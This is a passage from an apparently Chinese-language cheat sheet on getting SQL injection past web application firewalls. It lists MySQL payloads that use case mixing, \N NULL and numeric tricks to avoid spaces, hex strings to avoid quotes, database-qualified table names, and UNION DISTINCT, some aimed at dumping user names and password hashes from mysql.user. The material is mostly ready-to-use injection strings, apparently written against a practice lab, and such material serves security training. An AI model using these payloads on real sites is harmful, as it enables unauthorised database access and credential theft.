将字符串设置为大小写,例如 and1=1 转成 AND1=1AnD1=1
select * from users where id=1UNIONSELECT1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4;
过滤空格可以用%0代替,也过滤# --+注释,用字符串匹配
select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;
四、NULL 值绕过
select \N; 代表 NULL
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
\N' union select user(),2--+&submit=1
五、引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号,在 mysql 里也可以用双引号作为字符串。
select * from users where id='1';
select * from users where id="1";
也可以将字符串转换成 16 进制,再进行查询。
select hex('admin');
select * from users where username='admin';
select * from users where username=0x61646D696E;
六、添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from pikachu.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,0x3a,authentication_string) from mysql.user;
\N' union select 1,(select concat(user,0x3a,authentication_string) from mysql.user limit 1)--+&submit=1
七、去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截。
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;